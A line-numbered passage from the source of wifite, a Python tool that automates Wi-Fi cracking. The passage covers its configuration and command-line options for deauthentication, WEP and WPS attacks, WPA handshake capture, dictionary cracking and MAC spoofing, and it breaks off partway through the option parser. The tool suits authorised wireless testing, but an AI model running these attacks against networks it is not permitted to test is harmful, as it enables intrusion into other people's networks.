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  1. #!/usr/bin/python
  2.  
  3. # -*- coding: utf-8 -*-
  4.  
  5. """
  6. wifite
  7.  
  8. author: derv82 at gmail
  9. author: bwall @botnet_hunter (ballastsec@gmail.com)
  10. author: drone @dronesec (ballastsec@gmail.com)
  11.  
  12. Thanks to everyone that contributed to this project.
  13. If you helped in the past and want your name here, shoot me an email
  14.  
  15. Licensed under the GNU General Public License Version 2 (GNU GPL v2),
  16. available at: http://www.gnu.org/licenses/gpl-2.0.txt
  17.  
  18. (C) 2011 Derv Merkler
  19.  
  20. Ballast Security additions
  21. -----------------
  22. - No longer requires to be root to run -cracked
  23. - cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s)
  24. - Backwards compatibility
  25. - Made a run configuration class to handle globals
  26. - Added -recrack (shows already cracked APs in the possible targets, otherwise hides them)
  27. - Changed the updater to grab files from GitHub and not Google Code
  28. - Use argparse to parse command-line arguments
  29. - -wepca flag now properly initialized if passed through CLI
  30. - parse_csv uses python csv library
  31. -----------------
  32.  
  33.  
  34. TODO:
  35.  
  36. Restore same command-line switch names from v1
  37.  
  38. If device already in monitor mode, check for and, if applicable, use macchanger
  39.  
  40. WPS
  41. * Mention reaver automatically resumes sessions
  42. * Warning about length of time required for WPS attack (*hours*)
  43. * Show time since last successful attempt
  44. * Percentage of tries/attempts ?
  45. * Update code to work with reaver 1.4 ("x" sec/att)
  46.  
  47. WEP:
  48. * ability to pause/skip/continue (done, not tested)
  49. * Option to capture only IVS packets (uses --output-format ivs,csv)
  50. - not compatible on older aircrack-ng's.
  51. - Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works
  52. - would cut down on size of saved .caps
  53.  
  54. reaver:
  55. MONITOR ACTIVITY!
  56. - Enter ESSID when executing (?)
  57. - Ensure WPS key attempts have begun.
  58. - If no attempts can be made, stop attack
  59.  
  60. - During attack, if no attempts are made within X minutes, stop attack & Print
  61.  
  62. - Reaver's output when unable to associate:
  63. [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)
  64. - If failed to associate for x minutes, stop attack (same as no attempts?)
  65.  
  66. MIGHTDO:
  67. * WPA - crack (pyrit/cowpatty) (not really important)
  68. * Test injection at startup? (skippable via command-line switch)
  69.  
  70. """
  71.  
  72. # ############
  73. # LIBRARIES #
  74. #############
  75.  
  76. import csv # Exporting and importing cracked aps
  77. import os # File management
  78. import time # Measuring attack intervals
  79. import random # Generating a random MAC address.
  80. import errno # Error numbers
  81.  
  82. from sys import argv # Command-line arguments
  83. from sys import stdout # Flushing
  84.  
  85. from shutil import copy # Copying .cap files
  86.  
  87. # Executing, communicating with, killing processes
  88. from subprocess import Popen, call, PIPE
  89. from signal import SIGINT, SIGTERM
  90.  
  91. import re # RegEx, Converting SSID to filename
  92. import argparse # arg parsing
  93. import urllib # Check for new versions from the repo
  94. import abc # abstract base class libraries for attack templates
  95.  
  96.  
  97. ################################
  98. # GLOBAL VARIABLES IN ALL CAPS #
  99. ################################
  100.  
  101. # Console colors
  102. W = '\033[0m' # white (normal)
  103. R = '\033[31m' # red
  104. G = '\033[32m' # green
  105. O = '\033[33m' # orange
  106. B = '\033[34m' # blue
  107. P = '\033[35m' # purple
  108. C = '\033[36m' # cyan
  109. GR = '\033[37m' # gray
  110.  
  111. # /dev/null, send output from programs so they don't print to screen.
  112. DN = open(os.devnull, 'w')
  113. ERRLOG = open(os.devnull, 'w')
  114. OUTLOG = open(os.devnull, 'w')
  115.  
  116. ###################
  117. # DATA STRUCTURES #
  118. ###################
  119.  
  120.  
  121. class CapFile:
  122. """
  123. Holds data about an access point's .cap file, including AP's ESSID & BSSID.
  124. """
  125.  
  126. def __init__(self, filename, ssid, bssid):
  127. self.filename = filename
  128. self.ssid = ssid
  129. self.bssid = bssid
  130.  
  131.  
  132. class Target:
  133. """
  134. Holds data for a Target (aka Access Point aka Router)
  135. """
  136.  
  137. def __init__(self, bssid, power, data, channel, encryption, ssid):
  138. self.bssid = bssid
  139. self.power = power
  140. self.data = data
  141. self.channel = channel
  142. self.encryption = encryption
  143. self.ssid = ssid
  144. self.wps = False # Default to non-WPS-enabled router.
  145. self.key = ''
  146.  
  147.  
  148. class Client:
  149. """
  150. Holds data for a Client (device connected to Access Point/Router)
  151. """
  152.  
  153. def __init__(self, bssid, station, power):
  154. self.bssid = bssid
  155. self.station = station
  156. self.power = power
  157.  
  158.  
  159. class RunConfiguration:
  160. """
  161. Configuration for this rounds of attacks
  162. """
  163.  
  164. def __init__(self):
  165. self.REVISION = 89;
  166. self.PRINTED_SCANNING = False
  167.  
  168. self.TX_POWER = 0 # Transmit power for wireless interface, 0 uses default power
  169.  
  170. # WPA variables
  171. self.WPA_DISABLE = False # Flag to skip WPA handshake capture
  172. self.WPA_STRIP_HANDSHAKE = True # Use pyrit or tshark (if applicable) to strip handshake
  173. self.WPA_DEAUTH_COUNT = 1 # Count to send deauthentication packets
  174. self.WPA_DEAUTH_TIMEOUT = 10 # Time to wait between deauthentication bursts (in seconds)
  175. self.WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds)
  176. self.WPA_HANDSHAKE_DIR = 'hs' # Directory in which handshakes .cap files are stored
  177. # Strip file path separator if needed
  178. if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep:
  179. self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1]
  180.  
  181. self.WPA_FINDINGS = [] # List of strings containing info on successful WPA attacks
  182. self.WPA_DONT_CRACK = False # Flag to skip cracking of handshakes
  183. if os.path.exists('/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
  184. self.WPA_DICTIONARY = '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  185. elif os.path.exists('/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
  186. self.WPA_DICTIONARY = '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  187. elif os.path.exists('/usr/share/wordlists/fern-wifi/common.txt'):
  188. self.WPA_DICTIONARY = '/usr/share/wordlists/fern-wifi/common.txt'
  189. else:
  190. self.WPA_DICTIONARY = ''
  191.  
  192. # Various programs to use when checking for a four-way handshake.
  193. # True means the program must find a valid handshake in order for wifite to recognize a handshake.
  194. # Not finding handshake short circuits result (ALL 'True' programs must find handshake)
  195. self.WPA_HANDSHAKE_TSHARK = True # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)
  196. self.WPA_HANDSHAKE_PYRIT = False # Sometimes crashes on incomplete dumps, but accurate.
  197. self.WPA_HANDSHAKE_AIRCRACK = True # Not 100% accurate, but fast.
  198. self.WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2)
  199.  
  200. # WEP variables
  201. self.WEP_DISABLE = False # Flag for ignoring WEP networks
  202. self.WEP_PPS = 600 # packets per second (Tx rate)
  203. self.WEP_TIMEOUT = 600 # Amount of time to give each attack
  204. self.WEP_ARP_REPLAY = True # Various WEP-based attacks via aireplay-ng
  205. self.WEP_CHOPCHOP = True #
  206. self.WEP_FRAGMENT = True #
  207. self.WEP_CAFFELATTE = True #
  208. self.WEP_P0841 = True
  209. self.WEP_HIRTE = True
  210. self.WEP_CRACK_AT_IVS = 10000 # Number of IVS at which we start cracking
  211. self.WEP_IGNORE_FAKEAUTH = True # When True, continues attack despite fake authentication failure
  212. self.WEP_FINDINGS = [] # List of strings containing info on successful WEP attacks.
  213. self.WEP_SAVE = False # Save packets.
  214.  
  215. # WPS variables
  216. self.WPS_DISABLE = False # Flag to skip WPS scan and attacks
  217. self.PIXIE = False
  218. self.WPS_FINDINGS = [] # List of (successful) results of WPS attacks
  219. self.WPS_TIMEOUT = 660 # Time to wait (in seconds) for successful PIN attempt
  220. self.WPS_RATIO_THRESHOLD = 0.01 # Lowest percentage of tries/attempts allowed (where tries > 0)
  221. self.WPS_MAX_RETRIES = 0 # Number of times to re-try the same pin before giving up completely.
  222.  
  223.  
  224. # Program variables
  225. self.SHOW_ALREADY_CRACKED = False # Says whether to show already cracked APs as options to crack
  226. self.WIRELESS_IFACE = '' # User-defined interface
  227. self.MONITOR_IFACE = '' # User-defined interface already in monitor mode
  228. self.TARGET_CHANNEL = 0 # User-defined channel to scan on
  229. self.TARGET_ESSID = '' # User-defined ESSID of specific target to attack
  230. self.TARGET_BSSID = '' # User-defined BSSID of specific target to attack
  231. self.IFACE_TO_TAKE_DOWN = '' # Interface that wifite puts into monitor mode
  232. # It's our job to put it out of monitor mode after the attacks
  233. self.ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing)
  234. self.DO_NOT_CHANGE_MAC = True # Flag for disabling MAC anonymizer
  235. self.SEND_DEAUTHS = True # Flag for deauthing clients while scanning for acces points
  236. self.TARGETS_REMAINING = 0 # Number of access points remaining to attack
  237. self.WPA_CAPS_TO_CRACK = [] # list of .cap files to crack (full of CapFile objects)
  238. self.THIS_MAC = '' # The interfaces current MAC address.
  239. self.SHOW_MAC_IN_SCAN = False # Display MACs of the SSIDs in the list of targets
  240. self.CRACKED_TARGETS = [] # List of targets we have already cracked
  241. self.ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone*
  242. self.ATTACK_MIN_POWER = 0 # Minimum power (dB) for access point to be considered a target
  243. self.VERBOSE_APS = True # Print access points as they appear
  244. self.CRACKED_TARGETS = self.load_cracked()
  245. old_cracked = self.load_old_cracked()
  246. if len(old_cracked) > 0:
  247. # Merge the results
  248. for OC in old_cracked:
  249. new = True
  250. for NC in self.CRACKED_TARGETS:
  251. if OC.bssid == NC.bssid:
  252. new = False
  253. break
  254. # If Target isn't in the other list
  255. # Add and save to disk
  256. if new:
  257. self.save_cracked(OC)
  258.  
  259. def ConfirmRunningAsRoot(self):
  260. if os.getuid() != 0:
  261. print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W
  262. print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W
  263. exit(1)
  264.  
  265. def ConfirmCorrectPlatform(self):
  266. if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?
  267. print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W
  268. exit(1)
  269.  
  270. def CreateTempFolder(self):
  271. from tempfile import mkdtemp
  272.  
  273. self.temp = mkdtemp(prefix='wifite')
  274. if not self.temp.endswith(os.sep):
  275. self.temp += os.sep
  276.  
  277. def save_cracked(self, target):
  278. """
  279. Saves cracked access point key and info to a file.
  280. """
  281. self.CRACKED_TARGETS.append(target)
  282. with open('cracked.csv', 'wb') as csvfile:
  283. targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
  284. for target in self.CRACKED_TARGETS:
  285. targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps])
  286.  
  287. def load_cracked(self):
  288. """
  289. Loads info about cracked access points into list, returns list.
  290. """
  291. result = []
  292. if not os.path.exists('cracked.csv'): return result
  293. with open('cracked.csv', 'rb') as csvfile:
  294. targetreader = csv.reader(csvfile, delimiter=',', quotechar='"')
  295. for row in targetreader:
  296. t = Target(row[0], 0, 0, 0, row[1], row[2])
  297. t.key = row[3]
  298. t.wps = row[4]
  299. result.append(t)
  300. return result
  301.  
  302. def load_old_cracked(self):
  303. """
  304. Loads info about cracked access points into list, returns list.
  305. """
  306. result = []
  307. if not os.path.exists('cracked.txt'):
  308. return result
  309. fin = open('cracked.txt', 'r')
  310. lines = fin.read().split('\n')
  311. fin.close()
  312.  
  313. for line in lines:
  314. fields = line.split(chr(0))
  315. if len(fields) <= 3:
  316. continue
  317. tar = Target(fields[0], '', '', '', fields[3], fields[1])
  318. tar.key = fields[2]
  319. result.append(tar)
  320. return result
  321.  
  322. def exit_gracefully(self, code=0):
  323. """
  324. We may exit the program at any time.
  325. We want to remove the temp folder and any files contained within it.
  326. Removes the temp files/folder and exists with error code "code".
  327. """
  328. # Remove temp files and folder
  329. if os.path.exists(self.temp):
  330. for f in os.listdir(self.temp):
  331. os.remove(os.path.join(self.temp, f))
  332. os.rmdir(self.temp)
  333. # Disable monitor mode if enabled by us
  334. self.RUN_ENGINE.disable_monitor_mode()
  335. # Change MAC address back if spoofed
  336. mac_change_back()
  337. print GR + " [+]" + W + " quitting" # wifite will now exit"
  338. print ''
  339. # GTFO
  340. exit(code)
  341.  
  342. def handle_args(self):
  343. """
  344. Handles command-line arguments, sets global variables.
  345. """
  346. set_encrypt = False
  347. set_hscheck = False
  348. set_wep = False
  349. capfile = '' # Filename of .cap file to analyze for handshakes
  350.  
  351. opt_parser = self.build_opt_parser()
  352. options = opt_parser.parse_args()
  353.  
  354. try:
  355. if not set_encrypt and (options.wpa or options.wep or options.wps):
  356. self.WPS_DISABLE = True
  357. self.WPA_DISABLE = True
  358. self.WEP_DISABLE = True
  359. set_encrypt = True
  360. if options.recrack:
  361. self.SHOW_ALREADY_CRACKED = True
  362. print GR + ' [+]' + W + ' including already cracked networks in targets.'
  363. if options.wpa:
  364. if options.wps:
  365. print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.'
  366. else:
  367. print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)'
  368. self.WPA_DISABLE = False
  369. if options.wep:
  370. print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks'
  371. self.WEP_DISABLE = False
  372. if options.wps:
  373. print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
  374. self.WPS_DISABLE = False
  375. if options.pixie:
  376. print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
  377. print GR + ' [+]' + W + ' using only ' + G + 'WPS Pixie-Dust' + W + ' attack.'
  378. self.WPS_DISABLE = False
  379. self.WEP_DISABLE = True
  380. self.PIXIE = True
  381. if options.channel:
  382. try:
  383. self.TARGET_CHANNEL = int(options.channel)
  384. except ValueError:
  385. print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W
  386. except IndexError:
  387. print O + ' [!]' + R + ' no channel given!' + W
  388. else:
  389. print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET_CHANNEL) + W)
  390. if options.mac_anon:
  391. print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W
  392. print O + ' not: only works if device is not already in monitor mode!' + W
  393. self.DO_NOT_CHANGE_MAC = False
  394. if options.interface:
  395. self.WIRELESS_IFACE = options.interface
  396. print GR + ' [+]' + W + ' set interface :%s' % (G + self.WIRELESS_IFACE + W)
  397. if options.monitor_interface:
  398. self.MONITOR_IFACE = options.monitor_interface
  399. print GR + ' [+]' + W + ' set interface already in monitor mode :%s' % (G + self.MONITOR_IFACE + W)
  400. if options.nodeauth:
  401. self.SEND_DEAUTHS = False
  402. print GR + ' [+]' + W + ' will not deauthenticate clients while scanning%s' % W
  403. if options.essid:
  404. try:
  405. self.TARGET_ESSID = options.essid
  406. except ValueError:
  407. print R + ' [!]' + O + ' no ESSID given!' + W
  408. else:
  409. print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET_ESSID + W)
  410. if options.bssid:
  411. try:
  412. self.TARGET_BSSID = options.bssid
  413. except ValueError:
  414. print R + ' [!]' + O + ' no BSSID given!' + W
  415. else:
  416. print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET_BSSID + W)
  417. if options.showb:
  418. self.SHOW_MAC_IN_SCAN = True
  419. print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W
  420. if options.all:
  421. self.ATTACK_ALL_TARGETS = True
  422. print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W
  423. if options.power:
  424. try:
  425. self.ATTACK_MIN_POWER = int(options.power)
  426. except ValueError:
  427. print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W)
  428. except IndexError:
  429. print R + ' [!]' + O + ' no power level given!' + W
  430. else:
  431. print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W)
  432. if options.tx:
  433. try:
  434. self.TX_POWER = int(options.tx)
  435. except ValueError:
  436. print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W)
  437. except IndexError:
  438. print R + ' [!]' + O + ' no TX power level given!' + W
  439. else:
  440. print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX_POWER) + W)
  441. if options.quiet:
  442. self.VERBOSE_APS = False
  443. print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W
  444. if options.check:
  445. try:
  446. capfile = options.check
  447. except IndexError:
  448. print R + ' [!]' + O + ' unable to analyze capture file' + W
  449. print R + ' [!]' + O + ' no cap file given!\n' + W
  450. self.exit_gracefully(1)
  451. else:
  452. if not os.path.exists(capfile):
  453. print R + ' [!]' + O + ' unable to analyze capture file!' + W
  454. print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W
  455. self.exit_gracefully(1)
  456. if options.cracked:
  457. if len(self.CRACKED_TARGETS) == 0:
  458. print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W
  459. self.exit_gracefully(1)
  460. print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':'
  461. for victim in self.CRACKED_TARGETS:
  462. if victim.wps != False:
  463. print ' %s (%s) : "%s" - Pin: %s' % (
  464. C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W)
  465. else:
  466. print ' %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W)
  467. print ''
  468. self.exit_gracefully(0)
  469. # WPA
  470. if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit):
  471. self.WPA_HANDSHAKE_TSHARK = False
  472. self.WPA_HANDSHAKE_PYRIT = False
  473. self.WPA_HANDSHAKE_COWPATTY = False
  474. self.WPA_HANDSHAKE_AIRCRACK = False
  475. set_hscheck = True
  476. if options.strip:
  477. self.WPA_STRIP_HANDSHAKE = True
  478. print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W
  479. if options.wpadt:
  480. try:
  481. self.WPA_DEAUTH_TIMEOUT = int(options.wpadt)
  482. except ValueError:
  483. print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W)
  484. except IndexError:
  485. print R + ' [!]' + O + ' no deauth timeout given!' + W
  486. else:
  487. print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W)
  488. if options.wpat:
  489. try:
  490. self.WPA_ATTACK_TIMEOUT = int(options.wpat)
  491. except ValueError:
  492. print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W)
  493. except IndexError:
  494. print R + ' [!]' + O + ' no attack timeout given!' + W
  495. else:
  496. print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W)
  497. if options.crack:
  498. self.WPA_DONT_CRACK = False
  499. print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W
  500. if options.dic:
  501. try:
  502. self.WPA_DICTIONARY = options.dic
  503. except IndexError:
  504. print R + ' [!]' + O + ' no WPA dictionary given!'
  505. else:
  506. if os.path.exists(options.dic):
  507. print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W)
  508. else:
  509. print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic)
  510. else:
  511. print R + ' [!]' + O + ' WPA dictionary file not given!'
  512. self.exit_gracefully(1)
  513. if options.tshark:
  514. self.WPA_HANDSHAKE_TSHARK = True
  515. print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W
  516. if options.pyrit:
  517. self.WPA_HANDSHAKE_PYRIT = True
  518. print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W
  519. if options.aircrack:
  520. self.WPA_HANDSHAKE_AIRCRACK = True
  521. print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W
  522. if options.cowpatty:
  523. self.WPA_HANDSHAKE_COWPATTY = True
  524. print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W
  525.  
  526. # WEP
  527. if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \
  528. or options.p0841 or options.hirte:
  529. self.WEP_CHOPCHOP = False
  530. self.WEP_ARPREPLAY = False
  531. self.WEP_CAFFELATTE = False
  532. self.WEP_FRAGMENT = False
  533. self.WEP_P0841 = False
  534. self.WEP_HIRTE = False
  535. if options.chopchop:
  536. print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W
  537. self.WEP_CHOPCHOP = True
  538. if options.fragment:
  539. print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W
  540. self.WEP_FRAGMENT = True
  541. if options.caffeelatte:
  542. print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W
  543. self.WEP_CAFFELATTE = True
  544. if options.arpreplay:
  545. print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W
  546. self.WEP_ARPREPLAY = True
  547. if options.p0841:
  548. print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W
  549. self.WEP_P0841 = True
  550. if options.hirte:
  551. print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W
  552. self.WEP_HIRTE = True
  553. if options.fakeauth:
  554. print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W
  555. self.WEP_IGNORE_FAKEAUTH = False
  556. if options.wepca:
  557. try:
  558. self.WEP_CRACK_AT_IVS = int(options.wepca)
  559. except ValueError:
  560. print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W )
  561. except IndexError:
  562. print R + ' [!]' + O + ' no IV number specified!' + W
  563. else:
  564. print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % (
  565. G + str(self.WEP_CRACK_AT_IVS) + W)
  566. if options.wept:
  567. try:
  568. self.WEP_TIMEOUT = int(options.wept)
  569. except ValueError:
  570. print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W)
  571. except IndexError:
  572. print R + ' [!]' + O + ' no timeout given!' + W
  573. else:
  574. print GR + ' [+]' + W + ' WEP attack timeout set to %s' % (
  575. G + str(self.WEP_TIMEOUT) + " seconds" + W)
  576. if options.pps:
  577. try:
  578. self.WEP_PPS = int(options.pps)
  579. except ValueError:
  580. print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W)
  581. except IndexError:
  582. print R + ' [!]' + O + ' no value given!' + W
  583. else:
  584. print GR + ' [+]' + W + ' packets-per-second rate set to %s' % (
  585. G + str(options.pps) + " packets/sec" + W)
  586. if options.wepsave:
  587. self.WEP_SAVE = True
  588. print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W
  589.  
  590. # WPS
  591. if options.wpst:
  592. try:
  593. self.WPS_TIMEOUT = int(options.wpst)
  594. except ValueError:
  595. print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W)
  596. except IndexError:
  597. print R + ' [!]' + O + ' no timeout given!' + W
  598. else:
  599. print GR + ' [+]' + W + ' WPS attack timeout set to %s' % (
  600. G + str(self.WPS_TIMEOUT) + " seconds" + W)
  601. if options.wpsratio:
  602. try:
  603. self.WPS_RATIO_THRESHOLD = float(options.wpsratio)
  604. except ValueError:
  605. print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W)
  606. except IndexError:
  607. print R + ' [!]' + O + ' no ratio given!' + W
  608. else:
  609. print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % (
  610. G + str(self.WPS_RATIO_THRESHOLD) + "" + W)
  611. if options.wpsretry:
  612. try:
  613. self.WPS_MAX_RETRIES = int(options.wpsretry)
  614. except ValueError:
  615. print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W)
  616. except IndexError:
  617. print R + ' [!]' + O + ' no number given!' + W
  618. else:
  619. print GR + ' [+]' + W + ' WPS maximum retries set to %s' % (
  620. G + str(self.WPS_MAX_RETRIES) + " retries" + W)
  621.  
  622. except IndexError:
  623. print '\nindexerror\n\n'
  624.  
  625. if capfile != '':
  626. self.RUN_ENGINE.analyze_capfile(capfile)
  627. print ''
  628.  
  629. def build_opt_parser(self):
  630. """ Options are doubled for backwards compatability; will be removed soon and
  631. fully moved to GNU-style
  632. """
  633. option_parser = argparse.ArgumentParser()
  634.  
  635. # set commands
  636. command_group = option_parser.add_argument_group('COMMAND')
  637. command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check')
  638. command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS)
  639. command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true',
  640. dest='cracked')
  641. command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
  642. command_group.add_argument('--recrack', help='Include already cracked networks in targets.',
  643. action='store_true', dest='recrack')
  644. command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack')
  645.  
  646. # set global
  647. global_group = option_parser.add_argument_group('GLOBAL')
  648. global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all')
  649. global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all')
  650. global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface')
  651. global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False,
  652. dest='mac_anon')
  653. global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon')
  654. global_group.add_argument('--mon-iface', help='Interface already in monitor mode.', action='store',
  655. dest='monitor_interface')
  656. global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel')
  657. global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store',
  658. dest='essid')
  659. global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store',
  660. dest='bssid')
  661. global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true',
  662. dest='showb')
  663. global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb')
  664. global_group.add_argument('--nodeauth', help='Do not deauthenticate clients while scanning', action='store_true', dest='nodeauth')
  665. global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store',
  666. dest='power')
  667. global_group.add_argument('-power', help=argparse.SUPPRESS, action='store', dest='power')
  668. global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx')
  669. global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx')
  670. global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true',
  671. dest='quiet')
  672. global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet')
  673. # set wpa commands
  674. wpa_group = option_parser.add_argument_group('WPA')
  675. wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False,
  676. action='store_true', dest='wpa')
  677. wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store_true', dest='wpa')
  678. wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store',
  679. dest='wpat')
  680. wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat')
  681. wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store',
  682. dest='wpadt')
  683. wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt')
  684. wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False,
  685. action='store_true', dest='strip')
  686. wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip')
  687. wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true',
  688. dest='crack')
  689. wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack')
  690. wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store',
  691. dest='dic')
  692. wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic')
  693. wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False,
  694. action='store_true', dest='aircrack')
  695. wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack')
  696. wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true',
  697. dest='pyrit')
  698. wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS, default=False, action='store_true', dest='pyrit')
  699. wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true',
  700. dest='tshark')
  701. wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark')
  702. wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False,
  703. action='store_true', dest='cowpatty')
  704. wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty')
  705. # set WEP commands
  706. wep_group = option_parser.add_argument_group('WEP')
  707. wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true',
  708. dest='wep')
  709. wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep')
  710. wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store',
  711. dest='pps')
  712. wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps')
